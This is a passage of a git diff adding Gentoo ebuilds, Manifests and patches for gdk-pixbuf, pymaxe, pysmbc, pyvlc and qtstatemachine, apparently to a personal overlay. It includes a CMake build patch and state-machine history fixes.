+#		-e "/@LIBDIR@/s:\$LIBDIR:${DIR}/lib:" \
+#		-i config/install.sh || die
+}
+
+src_compile() {
+	SMLNJ_HOME="${S}" ./config/install.sh || die "compilation failed"
+}
+
+src_install() {
+	mkdir -p "${D}"/${DIR} || die
+	mv bin lib "${D}"/${DIR} || die
+
+#	for file in "${D}"/${DIR}/bin/*; do
+#		dosym /${DIR}/bin/$(basename "${file}") /usr/bin/$(basename "${file}") || die
+#	done
+
+#	for file in $(find "${D}"/usr/lib/${PN}/bin/ -maxdepth 1 -type f ! -name ".*"); do
+#		dosym /${DIR}/bin/$(basename "${file}") /usr/bin/$(basename "${file}") || die
+#	done
+
+	for file in "${D}"/usr/bin/{*,.*}; do
+		[[ -f ${file} ]] && sed "2iSMLNJ_HOME=/usr" -i ${file}
+ #		[[ -f ${file} ]] && sed "s:${WORKDIR}:/usr:" -i ${file}
+	done
+}
diff --git a/dev-python/gdk-pixbuf/GENTOO b/dev-python/gdk-pixbuf/GENTOO
new file mode 100644
index 00000000..e69de29b
diff --git a/dev-python/gdk-pixbuf/Manifest b/dev-python/gdk-pixbuf/Manifest
new file mode 100644
index 00000000..0862a829
--- /dev/null
+++ b/dev-python/gdk-pixbuf/Manifest
@@ -0,0 +1,5 @@
+AUX gdk-pixbuf-2.21.4-fix-automagic-x11.patch 715 RMD160 efeaa25e97e7620018ae3ca5b62d74ff6e0fd0d1 SHA1 d67d28548ce340034f5afb0ca07b699fd1a0619e SHA256 e977da6d4731a0164b7346a790dfabb95a951f9986fa623abd171bce79f63bcb
+DIST gdk-pixbuf-2.24.0.tar.xz 1176324 RMD160 38e9896dd9a1ed6bf207509cd635828cebe674b8 SHA1 6a78751630a54fdef9a6a3928322c98e6c1ef60c SHA256 67c11d3aa40441c1cea42c365bf2d6a9a9dd52fae2d359a707ad5e8abb4d28a7
+EBUILD gdk-pixbuf-2.24.0-r1.ebuild 2845 RMD160 ccc538a207cd1dafbd668c3e94f14444a3fd8984 SHA1 64581e96f97860094003d33adb637cbc5fd83c86 SHA256 d125f224debd09c13f841a59d09c9db6c385907e897534173a8736c144a2e798
+MISC GENTOO 0 RMD160 9c1185a5c5e9fc54612808977ee8f548b2258d31 SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
+MISC metadata.xml 285 RMD160 829826c3a3edd13d82bf87a4e6c1c08719f1549f SHA1 03e8b2cfc1956cfea91e8cedfa2451e68b2bf8e5 SHA256 8400998fc578bc9661b57a27ed3226941e4f75ef5bf7d9f929ed9de2d97ba8b0
diff --git a/dev-python/gdk-pixbuf/files/gdk-pixbuf-2.21.4-fix-automagic-x11.patch b/dev-python/gdk-pixbuf/files/gdk-pixbuf-2.21.4-fix-automagic-x11.patch
new file mode 100644
index 00000000..ae7ec2c9
--- /dev/null
+++ b/dev-python/gdk-pixbuf/files/gdk-pixbuf-2.21.4-fix-automagic-x11.patch
@@ -0,0 +1,24 @@
+Adds a new configure option to remove the automagic dependency on libX11.
+
+--- configure.ac
++++ configure.ac
+@@ -929,7 +929,18 @@ GDK_PIXBUF_XLIB_PACKAGES=
+ GDK_PIXBUF_XLIB_EXTRA_CFLAGS=
+ GDK_PIXBUF_XLIB_EXTRA_LIBS=
+ 
+-if $PKG_CONFIG --exists x11; then
++AC_ARG_WITH(x11,
++            AC_HELP_STRING([--with-x11=@<:@no/auto/yes@:>@],
++                           [build X11 support @<:@default=auto@:>@]),,
++            [
++              if $PKG_CONFIG --exists x11; then
++                with_x11=yes
++              else
++                with_x11=no
++              fi
++            ])
++
++if test x$with_x11 = xyes; then
+   AM_CONDITIONAL(USE_X11, true)
+   PKG_CHECK_MODULES(GDK_PIXBUF_XLIB_DEP, x11 gobject-2.0)
+ else
diff --git a/dev-python/gdk-pixbuf/gdk-pixbuf-2.24.0-r1.ebuild b/dev-python/gdk-pixbuf/gdk-pixbuf-2.24.0-r1.ebuild
new file mode 100644
index 00000000..f48dc30f
--- /dev/null
+++ b/dev-python/gdk-pixbuf/gdk-pixbuf-2.24.0-r1.ebuild
@@ -0,0 +1,93 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-libs/gdk-pixbuf/gdk-pixbuf-2.24.0-r1.ebuild,v 1.1 2011/09/15 19:40:37 ssuominen Exp $
+
+EAPI="4"
+
+inherit gnome.org multilib libtool autotools
+
+DESCRIPTION="Image loading library for GTK+"
+HOMEPAGE="http://www.gtk.org/"
+
+LICENSE="LGPL-2"
+SLOT="2"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~sh ~sparc ~x86 ~x86-fbsd ~x86-freebsd ~x86-interix ~amd64-linux ~x86-linux ~ppc-macos ~x64-macos ~x86-macos ~sparc-solaris ~sparc64-solaris ~x64-solaris ~x86-solaris"
+IUSE="+X debug doc +introspection jpeg jpeg2k tiff test"
+
+COMMON_DEPEND="
+	>=dev-libs/glib-2.27.2:2
+	>=media-libs/libpng-1.4:0
+	introspection? ( >=dev-libs/gobject-introspection-0.9.3 )
+	jpeg? ( virtual/jpeg )
+	jpeg2k? ( media-libs/jasper )
+	tiff? ( >=media-libs/tiff-3.9.2 )
+	X? ( x11-libs/libX11 )"
+DEPEND="${COMMON_DEPEND}
+	>=dev-util/pkgconfig-0.9
+	>=sys-devel/gettext-0.17
+	>=dev-util/gtk-doc-am-1.11
+	doc? (
+		>=dev-util/gtk-doc-1.11
+		~app-text/docbook-xml-dtd-4.1.2 )"
+# librsvg blocker is for the new pixbuf loader API, you lose icons otherwise
+RDEPEND="${COMMON_DEPEND}
+	!<gnome-base/gail-1000
+	!<gnome-base/librsvg-2.31.0
+	!<x11-libs/gtk+-2.21.3:2
+	!<x11-libs/gtk+-2.90.4:3"
+
+src_prepare() {
+	# Only build against libX11 if the user wants to do so, upstream bug #657569
+	epatch "${FILESDIR}"/${PN}-2.21.4-fix-automagic-x11.patch
+
+	# This will avoid polluting the pkg-config file with versioned libpng,
+	# which is causing problems with libpng14 -> libpng15 upgrade
+	sed -i -e 's:libpng15:libpng libpng15:' configure.ac || die
+
+	elibtoolize
+	eautoreconf
+}
+
+src_configure() {
+	# png always on to display icons (foser)
+	local myconf="
+		$(use_enable doc gtk-doc)
+		$(use_with jpeg libjpeg)
+		$(use_with jpeg2k libjasper)
+		$(use_with tiff libtiff)
+		$(use_enable introspection)
+		$(use_with X x11)
+		--with-libpng"
+
+	# Passing --disable-debug is not recommended for production use
+	use debug && myconf="${myconf} --enable-debug=yes"
+
+	econf ${myconf}
+}
+
+src_install() {
+	emake DESTDIR="${D}" install
+	dodoc AUTHORS NEWS* README*
+
+	# New library, remove .la files
+	find "${D}" -name '*.la' -exec rm -f '{}' + || die
+}
+
+pkg_postinst() {
+	# causes segfault if set
+	unset __GL_NO_DSO_FINALIZER
+
+	tmp_file=$(mktemp --suffix=gdk_pixbuf_ebuild)
+	# be atomic!
+	gdk-pixbuf-query-loaders > "${tmp_file}"
+	if [ "${?}" = "0" ]; then
+		cat "${tmp_file}" > "${EROOT}usr/$(get_libdir)/gdk-pixbuf-2.0/2.10.0/loaders.cache"
+	fi
+	rm "${tmp_file}"
+
+	if [ -e "${EROOT}"usr/lib/gtk-2.0/2.*/loaders ]; then
+		elog "You need to rebuild ebuilds that installed into" "${EROOT}"usr/lib/gtk-2.0/2.*/loaders
+		elog "to do that you can use qfile from portage-utils:"
+		elog "emerge -va1 \$(qfile -qC ${EPREFIX}/usr/lib/gtk-2.0/2.*/loaders)"
+	fi
+}
diff --git a/dev-python/gdk-pixbuf/metadata.xml b/dev-python/gdk-pixbuf/metadata.xml
new file mode 100644
index 00000000..e86947c9
--- /dev/null
+++ b/dev-python/gdk-pixbuf/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+  <herd>gnome</herd>
+  <use>
+    <flag name="introspection">Use <pkg>dev-libs/gobject-introspection</pkg>
+      for introspection</flag>
+  </use>
+</pkgmetadata>
diff --git a/dev-python/pymaxe/Manifest b/dev-python/pymaxe/Manifest
new file mode 100644
index 00000000..2cbcfe25
--- /dev/null
+++ b/dev-python/pymaxe/Manifest
@@ -0,0 +1,2 @@
+DIST pymaxe.tar.gz 195654 SHA256 3532b56bf3fbf9188f81684cb4148099ea9fbb870234495dcdef095933724c36 SHA512 6f9bbdf2fe3b63cd1186c64716303a75dc1a69378cddca76abb5003ccd95d01741d637a36f6272c5377149c3517e2fb1fa105977e9b46bedf1e1ea81e9394471 WHIRLPOOL e7ce1674aa0cb5ed521beb04117d81401f9e6cd461eb7d60c3e5d4daaff3269abecedd95403fa924b3242a3b94b4331819e7e2478c891f7ba83c1139701f0d84
+EBUILD pymaxe-20130303.ebuild 476 SHA256 1c40a47ef9c64f6614bb65d970d455d3e7bc71127f07116fd8bfe18a5592dd3a SHA512 e87a3f5e375b1011839cb8642dd4b2459c2c898b12086945dcdd8aba58268a326e4dc22046de9b7f25dd0cb4e2cd990eaff8f974054533687e0e03d9fd9fec60 WHIRLPOOL 2fb9835b84c0a6bb51b0e9ee04e8e7ec2e5f0ba6c7e25aaa6e259d78a54970c53160f3447fc0046e4fa795d5220c39343d1bece6004a0dae73ef100d4cce13eb
diff --git a/dev-python/pymaxe/pymaxe-20130303.ebuild b/dev-python/pymaxe/pymaxe-20130303.ebuild
new file mode 100644
index 00000000..f84c8c1b
--- /dev/null
+++ b/dev-python/pymaxe/pymaxe-20130303.ebuild
@@ -0,0 +1,30 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils
+
+RP="pymaxe"
+
+DESCRIPTION="Python support for Maxe"
+HOMEPAGE="http://pymaxe.com"
+SRC_URI="http://pymaxe.com/files/latest/${RP}.tar.gz -> ${PN}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+
+RDEPEND="x11-libs/pango"
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_compile() {
+	cd "${S}"
+}
+
+src_install() {
+	doins -r "${S}"/usr || die
+}
diff --git a/dev-python/pysmbc/Manifest b/dev-python/pysmbc/Manifest
new file mode 100644
index 00000000..d96b52a1
--- /dev/null
+++ b/dev-python/pysmbc/Manifest
@@ -0,0 +1,2 @@
+DIST pysmbc-1.0.13.tar.bz2 20795 RMD160 ed573822da34210aa6e0f9c09159de75db0aa505 SHA1 bf37346af4a6b543f7f91c46d0d1d0cc6020db32 SHA256 479fbb70d97fb64208d95975dc745f06f75661f954a8cbb988fe8b5bce4f379b
+EBUILD pysmbc-1.0.13.ebuild 409 RMD160 07a0d9727c3300ec4f57f1e00a9a865d71e52fb6 SHA1 995ae53230058273e1ea62f016be22608efc5d96 SHA256 2a863812aa96941b867446de0aea974bce5a8b9fa51144f395d5df66b9524e02
diff --git a/dev-python/pysmbc/pysmbc-1.0.13.ebuild b/dev-python/pysmbc/pysmbc-1.0.13.ebuild
new file mode 100644
index 00000000..42d7bb73
--- /dev/null
+++ b/dev-python/pysmbc/pysmbc-1.0.13.ebuild
@@ -0,0 +1,21 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+PYTHON_DEPEND="2"
+
+inherit distutils
+
+DESCRIPTION="Python bindings for libsmbclient"
+HOMEPAGE="https://fedorahosted.org/pysmbc"
+SRC_URI="http://cyberelk.net/tim/data/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+pkg_setup() {
+	python_set_active_version 2
+}
\ No newline at end of file
diff --git a/dev-python/pyvlc/Manifest b/dev-python/pyvlc/Manifest
new file mode 100644
index 00000000..0ab08d99
--- /dev/null
+++ b/dev-python/pyvlc/Manifest
@@ -0,0 +1,2 @@
+EBUILD pyvlc-1.0.ebuild 854 SHA256 4bc104f41d0b9efdca7c0c064e4160dc8ab0da58777cac8e6c95d9f02ce980ef SHA512 c41f96dbad375d9859d3cd9825b2ca6b053228f4e9291b9e2b3e6c71df022d074c1dd2c96934812950f4843d556fdcbc977d1a4c614be6f9064c3c5ad17f2852 WHIRLPOOL 6755d10ae194fbba7a47cf390755dd11bf774f6e7b389b53f18b341b66327d7e543ddc8758f6007f6119fab8750c3ab2f433df2ebc40bbdacf28c4fea35688ca
+EBUILD pyvlc-9999.ebuild 854 SHA256 4bc104f41d0b9efdca7c0c064e4160dc8ab0da58777cac8e6c95d9f02ce980ef SHA512 c41f96dbad375d9859d3cd9825b2ca6b053228f4e9291b9e2b3e6c71df022d074c1dd2c96934812950f4843d556fdcbc977d1a4c614be6f9064c3c5ad17f2852 WHIRLPOOL 6755d10ae194fbba7a47cf390755dd11bf774f6e7b389b53f18b341b66327d7e543ddc8758f6007f6119fab8750c3ab2f433df2ebc40bbdacf28c4fea35688ca
diff --git a/dev-python/pyvlc/pyvlc-1.0.ebuild b/dev-python/pyvlc/pyvlc-1.0.ebuild
new file mode 100644
index 00000000..472927cc
--- /dev/null
+++ b/dev-python/pyvlc/pyvlc-1.0.ebuild
@@ -0,0 +1,50 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit git-2
+
+DESCRIPTION="Python binding to VLC library"
+HOMEPAGE="http://wiki.videolan.org/Python_bindings"
+EGIT_REPO_URI="git://git.videolan.org/vlc/bindings/python.git"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+IUSE="generated examples wxwidgets qt4 gtk"
+
+DEPEND="media-video/vlc"
+RDEPEND="${DEPEND}
+	examples? ( dev-python/pygtk )"
+DOCS="README"
+
+S="${WORKDIR}"/${PN}-${PV}
+
+src_compile() {
+	cd "${EGIT_STORE_DIR}"
+	cd "${S}"
+}
+
+src_install() {
+	cd "${S}"
+	
+	if use examples ; then
+	cd "${S}"/examples
+	ls -la
+		if use wxwidgets ; then
+			dodoc wxvlc.py
+		fi
+		if use qt4 ; then
+			dodoc qtvlc.py
+		fi
+		if use gtk ; then
+			dodoc gtkvlc.py
+		fi
+	fi
+	if use generated ; then
+		insinto "${S}"/generated
+		dodoc vlc.py
+	fi
+}
diff --git a/dev-python/pyvlc/pyvlc-9999.ebuild b/dev-python/pyvlc/pyvlc-9999.ebuild
new file mode 100644
index 00000000..472927cc
--- /dev/null
+++ b/dev-python/pyvlc/pyvlc-9999.ebuild
@@ -0,0 +1,50 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit git-2
+
+DESCRIPTION="Python binding to VLC library"
+HOMEPAGE="http://wiki.videolan.org/Python_bindings"
+EGIT_REPO_URI="git://git.videolan.org/vlc/bindings/python.git"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+IUSE="generated examples wxwidgets qt4 gtk"
+
+DEPEND="media-video/vlc"
+RDEPEND="${DEPEND}
+	examples? ( dev-python/pygtk )"
+DOCS="README"
+
+S="${WORKDIR}"/${PN}-${PV}
+
+src_compile() {
+	cd "${EGIT_STORE_DIR}"
+	cd "${S}"
+}
+
+src_install() {
+	cd "${S}"
+	
+	if use examples ; then
+	cd "${S}"/examples
+	ls -la
+		if use wxwidgets ; then
+			dodoc wxvlc.py
+		fi
+		if use qt4 ; then
+			dodoc qtvlc.py
+		fi
+		if use gtk ; then
+			dodoc gtkvlc.py
+		fi
+	fi
+	if use generated ; then
+		insinto "${S}"/generated
+		dodoc vlc.py
+	fi
+}
diff --git a/dev-python/qtstatemachine/Manifest b/dev-python/qtstatemachine/Manifest
new file mode 100644
index 00000000..aada8f2b
--- /dev/null
+++ b/dev-python/qtstatemachine/Manifest
@@ -0,0 +1,6 @@
+AUX qstatemachines_add_CMake_support.patch_003 4827 RMD160 b462cf9d1c91cc6af0dfe0ffe1d4c1df68ec51ad SHA1 3323225f77d9fba7ec3431f53775883f0d15b439 SHA256 4822daf62e6e266e00220da108300e8c4cafadf2bcb08e973d9f721d004d357e
+AUX qstatemachines_fix_compound_state.patch_002 2809 RMD160 87788328b902681f10c736f0a39d7b828509429a SHA1 ffed349fa3087f435b92eeb8c8c08074f9865f35 SHA256 58d9330eec0d22f9f54fb18276ea86fbaeee95a762a33a2d95c011270bbe3b40
+AUX qstatemachines_fix_history.patch_001 7507 RMD160 2417563f065816d8012587633e7fa921009676ee SHA1 e03a79b912a305ac0c8c3467994845a970fe0aaf SHA256 eec10835e5733dc9554cf7dd814bdad02f8183b28a32f949004059ce6ce30771
+DIST qtstatemachine-1.1-opensource.tar.gz 1339216 RMD160 102189d7bbb9d2260b1b15020f37f5a078dd8098 SHA1 25a748433bf1807165d176957710739a653c51a4 SHA256 141b78bccb709c203c62bb16c7a328b024d71e83263438e3e65d49c49d9486bd
+EBUILD qtstatemachine-1.1-r1.ebuild 925 RMD160 1064b64d8dae03aa6b82bb2f85d5be32fdc96086 SHA1 73b7efa14d2af213faf4fb7d4696e3a0a523cea9 SHA256 0876be0b8faea518b038a5d880b8f9b55bdf61f4f1701ea0b36a821eb61d4fad
+EBUILD qtstatemachine-1.1.ebuild 1024 RMD160 eced99f95ad1f4d24a9334acdcb73ebe37864b54 SHA1 64d9b1d191a6243bf14a889b8a0b5cbf65b6cbbb SHA256 da925a8b35bc4ca53f31486d03942192074ebd877798ad41dc0e51d5a8e5a188
diff --git a/dev-python/qtstatemachine/files/qstatemachines_add_CMake_support.patch_003 b/dev-python/qtstatemachine/files/qstatemachines_add_CMake_support.patch_003
new file mode 100644
index 00000000..d21e0126
--- /dev/null
+++ b/dev-python/qtstatemachine/files/qstatemachines_add_CMake_support.patch_003
@@ -0,0 +1,154 @@
+--- /dev/null	2009-07-25 12:29:44.706468311 +0200
++++ CMakeLists.txt	2009-07-27 17:39:53.000000000 +0200
+@@ -0,0 +1,151 @@
++cmake_minimum_required(VERSION 2.6)
++project(QtStateMachines)
++
++# Setup Cmake
++set(CMAKE_MODULE_PATH
++	${PyQtStateMachines_SOURCE_DIR}/cmake/Modules
++	)
++
++# Setup Qt4
++find_package(Qt4 REQUIRED)
++set(QT_USE_QTDBUS 1)
++set(QT_USE_QTGUI 1)
++set(QT_USE_QTSHARED 1)
++set(QT_USE_QTSCRIPT 1)
++include(${QT_USE_FILE})
++
++add_definitions(-DQT_STATEMACHINE_SOLUTION -DQT_NO_ANIMATION -DQT_SCRIPT_LIB -DQT_GUI_LIB -DQT_CORE_LIB -DQT_SHARED)
++
++include_directories(
++    ${CMAKE_CURRENT_SOURCE_DIR}
++    ${CMAKE_SOURCE_DIR}/src
++    ${QT_INCLUDE_DIR}
++    ${QT_QT_INCLUDE_DIR}
++    ${QT_QTCORE_INCLUDE_DIR}
++    ${CMAKE_CURRENT_BINARY_DIR}/src
++    ${CMAKE_CURRENT_BINARY_DIR}
++ )
++
++link_directories(${CMAKE_CURRENT_SOURCE_DIR})
++
++set(QtStateMachines_SOURCES
++	src/qabstractstate.cpp
++	src/qabstracttransition.cpp
++	src/qactionstate.cpp
++	src/qeventtransition.cpp
++	src/qfinalstate.cpp
++	src/qguistatemachine.cpp
++	src/qhistorystate.cpp
++	src/qscriptedstatemachine.cpp
++	src/qsignaltransition.cpp
++	src/qssmguiinvokers.cpp
++	src/qstateaction.cpp
++	src/qstate.cpp
++	src/qstatefinishedtransition.cpp
++	src/qstatemachine.cpp
++	src/qtransition.cpp
++)
++
++
++set(QtStateMachines_HEADERS
++	src/qabstractstate.h
++	src/qabstracttransition.h
++	src/qactionstate.h
++	src/qeventtransition.h
++	src/qfinalstate.h
++	src/qhistorystate.h
++	src/qscriptedstatemachine.h
++	src/qsignalevent.h
++	src/qsignaltransition.h
++	src/qstateaction.h
++	src/qstatefinishedevent.h
++	src/qstatefinishedtransition.h
++	src/qstate.h
++	src/qstatemachine.h
++	src/qtransition.h
++	src/qtstatemachineglobal.h
++)
++
++MACRO(QT4_AUTOMOC_MY)
++	QT4_GET_MOC_FLAGS(_moc_INCS)
++
++	SET(_matching_FILES )
++	FOREACH (_current_FILE ${ARGN})
++
++		GET_FILENAME_COMPONENT(_abs_FILE ${_current_FILE} ABSOLUTE)
++		# if "SKIP_AUTOMOC" is set to true, we will not handle this file here.
++		# This is required to make uic work correctly:
++		# we need to add generated .cpp files to the sources (to compile them),
++		# but we cannot let automoc handle them, as the .cpp files don't exist yet when
++		# cmake is run for the very first time on them -> however the .cpp files might
++		# exist at a later run. at that time we need to skip them, so that we don't add two
++		# different rules for the same moc file
++		GET_SOURCE_FILE_PROPERTY(_skip ${_abs_FILE} SKIP_AUTOMOC)
++
++		IF ( NOT _skip AND EXISTS ${_abs_FILE} )
++
++			FILE(READ ${_abs_FILE} _contents)
++
++			GET_FILENAME_COMPONENT(_abs_PATH ${_abs_FILE} PATH)
++
++			STRING(REGEX MATCHALL "# *include +[^ ]+\\.moc[\">]"
++				_match 
++				"${_contents}")
++			IF(_match)
++				FOREACH (_current_MOC_INC ${_match})
++					STRING(REGEX MATCH "[^ <\"]+\\.moc" _current_MOC "${_current_MOC_INC}")
++					GET_FILENAME_COMPONENT(_basename ${_current_MOC} NAME_WE)
++					IF(EXISTS ${_abs_PATH}/${_basename}.hpp)
++						SET(_header ${_abs_PATH}/${_basename}.hpp)
++					ELSE(EXISTS ${_abs_PATH}/${_basename}.hpp)
++						SET(_header ${_abs_PATH}/${_basename}.h)
++					ENDIF(EXISTS ${_abs_PATH}/${_basename}.hpp)
++					SET(_moc    ${CMAKE_CURRENT_BINARY_DIR}/${_current_MOC})
++					QT4_CREATE_MOC_COMMAND(${_header} ${_moc} "${_moc_INCS}" "")
++					MACRO_ADD_FILE_DEPENDENCIES(${_abs_FILE} ${_moc})
++					message("DEPS: ${_abs_FILE} -> ${_moc}")
++				ENDFOREACH (_current_MOC_INC)
++			ENDIF(_match)
++			STRING(REGEX MATCHALL "# *include [\"<]moc_+[^ ]+\\.cpp[\">]" 
++				_match 
++				"${_contents}"
++			)
++			IF(_match)
++				FOREACH (_current_MOC_INC ${_match})
++					STRING(REGEX MATCH "[^ <\"_]+\\.cpp" _current_MOC "${_current_MOC_INC}")
++					GET_FILENAME_COMPONENT(_basename ${_current_MOC} NAME_WE)
++					IF(EXISTS ${_abs_PATH}/${_basename}.hpp)
++						SET(_header ${_abs_PATH}/${_basename}.hpp)
++					ELSE(EXISTS ${_abs_PATH}/${_basename}.hpp)
++						SET(_header ${_abs_PATH}/${_basename}.h)
++					ENDIF(EXISTS ${_abs_PATH}/${_basename}.hpp)
++					SET(_moc ${CMAKE_CURRENT_BINARY_DIR}/moc_${_current_MOC})
++					QT4_CREATE_MOC_COMMAND(${_header} ${_moc} "${_moc_INCS}" "")
++					MACRO_ADD_FILE_DEPENDENCIES(${_abs_FILE} ${_moc})
++				ENDFOREACH (_current_MOC_INC)
++			ENDIF(_match)
++		ENDIF ( NOT _skip AND EXISTS ${_abs_FILE} )
++	ENDFOREACH (_current_FILE)
++ENDMACRO(QT4_AUTOMOC_MY)
++
++add_library(StateMachineFramework SHARED
++   ${QtStateMachines_SOURCES}
++   )
++
++QT4_AUTOMOC_MY(${QtStateMachines_SOURCES})
++
++target_link_libraries(StateMachineFramework
++	${QT_QTCORE_LIBRARY}
++	${QT_QTGUI_LIBRARY}
++	${QT_QTSCRIPT_LIBRARY}
++	)
++
++set_target_properties(StateMachineFramework 
++	PROPERTIES
++	OUTPUT_NAME
++	QtSolutions_StateMachineFramework-1.1
++	VERSION 1.0.0
++	SOVERSION 1.0.0)
++
++install(TARGETS StateMachineFramework DESTINATION lib${LIB_SUFFIX})
++install(FILES ${QtStateMachines_HEADERS} DESTINATION include/QtStateMachines/)
diff --git a/dev-python/qtstatemachine/files/qstatemachines_fix_compound_state.patch_002 b/dev-python/qtstatemachine/files/qstatemachines_fix_compound_state.patch_002
new file mode 100644
index 00000000..917bbf43
--- /dev/null
+++ b/dev-python/qtstatemachine/files/qstatemachines_fix_compound_state.patch_002
@@ -0,0 +1,82 @@
+--- src/qstatemachine_history_fixed.cpp	2009-07-26 18:21:12.000000000 +0200
++++ src/qstatemachine.cpp	2009-07-27 15:46:45.000000000 +0200
+@@ -273,6 +273,27 @@
+     }
+ }
+ 
++QtState *QtStateMachinePrivate::findActiveLCA(const QList<QtAbstractState*> &states)
++{
++    if (states.isEmpty())
++        return rootState;
++    QList<QtState*> ancestors = properAncestors(states.at(0), 0);
++    for (int i = 0; i < ancestors.size(); ++i) {
++        QtState *anc = ancestors.at(i);
++        if (!configuration.contains(anc))
++            continue;
++        bool ok = true;
++        for (int j = states.size() - 1; (j > 0) && ok; --j) {
++            const QtAbstractState *s = states.at(j);
++            if (!isDescendantOf(s, anc))
++                ok = false;
++        }
++        if (ok)
++            return anc;
++    }
++    return rootState;
++}
++
+ QtState *QtStateMachinePrivate::findLCA(const QList<QtAbstractState*> &states)
+ {
+     if (states.isEmpty())
+@@ -378,8 +399,18 @@
+         QList<QtAbstractState*> lst = t->targetStates();
+         if (lst.isEmpty())
+             continue;
+-        lst.prepend(t->sourceState());
+-        QtAbstractState *lca = findLCA(lst);
++        QtAbstractState *lca;
++        if (isDescendantOf(t->targetState(), t->sourceState()))
++        {
++            lst.prepend(t->targetState());
++            lca = findActiveLCA(lst);
++        }
++        else
++        {
++            lst.prepend(t->sourceState());
++            lca = findLCA(lst);
++        }
++
+         {
+             QSet<QtAbstractState*>::const_iterator it;
+             for (it = configuration.constBegin(); it != configuration.constEnd(); ++it) {
+@@ -451,8 +482,17 @@
+         QList<QtAbstractState*> lst = t->targetStates();
+         if (lst.isEmpty())
+             continue;
+-        lst.prepend(t->sourceState());
+-        QtState *lca = findLCA(lst);
++        QtState *lca;
++        if (isDescendantOf(t->targetState(), t->sourceState()))
++        {
++            lst.prepend(t->targetState());
++            lca = findActiveLCA(lst);
++        }
++        else
++        {
++            lst.prepend(t->sourceState());
++            lca = findLCA(lst);
++        }
+         for (int j = 1; j < lst.size(); ++j) {
+             QtAbstractState *s = lst.at(j);
+             addStatesToEnter(s, lca, statesToEnter, statesForDefaultEntry);
+diff -ru src_old/qstatemachine_p.h src/qstatemachine_p.h
+--- src_old/qstatemachine_p.h	2009-07-26 18:38:06.000000000 +0200
++++ src/qstatemachine_p.h	2009-07-26 18:37:15.000000000 +0200
+@@ -109,6 +109,7 @@
+ 
+     static QtStateMachinePrivate *get(QtStateMachine *q);
+ 
++    QtState *findActiveLCA(const QList<QtAbstractState*> &states);
+     static QtState *findLCA(const QList<QtAbstractState*> &states);
+ 
+     static bool stateEntryLessThan(QtAbstractState *s1, QtAbstractState *s2);
diff --git a/dev-python/qtstatemachine/files/qstatemachines_fix_history.patch_001 b/dev-python/qtstatemachine/files/qstatemachines_fix_history.patch_001
new file mode 100644
index 00000000..fff31346
--- /dev/null
+++ b/dev-python/qtstatemachine/files/qstatemachines_fix_history.patch_001
@@ -0,0 +1,155 @@
+--- src/qstatemachine_orig.cpp	2009-07-26 11:41:00.000000000 +0200
++++ src/qstatemachine.cpp	2009-07-26 12:41:26.000000000 +0200
+@@ -455,37 +455,7 @@
+         QtState *lca = findLCA(lst);
+         for (int j = 1; j < lst.size(); ++j) {
+             QtAbstractState *s = lst.at(j);
+-            if (QtHistoryState *h = qobject_cast<QtHistoryState*>(s)) {
+-                QList<QtAbstractState*> hconf = QtHistoryStatePrivate::get(h)->configuration;
+-                if (!hconf.isEmpty()) {
+-                    for (int k = 0; k < hconf.size(); ++k) {
+-                        QtAbstractState *s0 = hconf.at(k);
+-                        addStatesToEnter(s0, lca, statesToEnter, statesForDefaultEntry);
+-                    }
+-#ifdef QSTATEMACHINE_DEBUG
+-                    qDebug() << q << ": restoring"
+-                            << ((QtHistoryStatePrivate::get(h)->historyType == QtState::DeepHistory) ? "deep" : "shallow")
+-                            << "history from" << s << ":" << hconf;
+-#endif
+-                } else {
+-                    QList<QtAbstractState*> hlst;
+-                    if (QtHistoryStatePrivate::get(h)->defaultState)
+-                        hlst.append(QtHistoryStatePrivate::get(h)->defaultState);
+-                    if (hlst.isEmpty()) {
+-                        setError(QtStateMachine::NoDefaultStateInHistoryState, h);
+-                    } else {
+-                        for (int k = 0; k < hlst.size(); ++k) {
+-                            QtAbstractState *s0 = hlst.at(k);
+-                            addStatesToEnter(s0, lca, statesToEnter, statesForDefaultEntry);
+-                        }
+-#ifdef QSTATEMACHINE_DEBUG
+-                        qDebug() << q << ": initial history targets for" << s << ":" << hlst;                    
+-#endif
+-                    }
+-                }
+-            } else {
+-                addStatesToEnter(s, lca, statesToEnter, statesForDefaultEntry);
+-            }
++            addStatesToEnter(s, lca, statesToEnter, statesForDefaultEntry);
+             if (isParallel(lca)) {
+                 QList<QtAbstractState*> lcac = QtStatePrivate::get(lca)->childStates();
+                 foreach (QtAbstractState* child,lcac) {
+@@ -566,45 +536,78 @@
+                                             QSet<QtAbstractState*> &statesToEnter,
+                                             QSet<QtAbstractState*> &statesForDefaultEntry)
+ {
+-    statesToEnter.insert(s);
+-    if (isParallel(s)) {
+-        QtState *grp = qobject_cast<QtState*>(s);
+-        QList<QtAbstractState*> lst = QtStatePrivate::get(grp)->childStates();
+-        for (int i = 0; i < lst.size(); ++i) {
+-            QtAbstractState *child = lst.at(i);
+-            addStatesToEnter(child, grp, statesToEnter, statesForDefaultEntry);
+-        }
+-    } else if (isCompound(s)) {
+-        statesForDefaultEntry.insert(s);
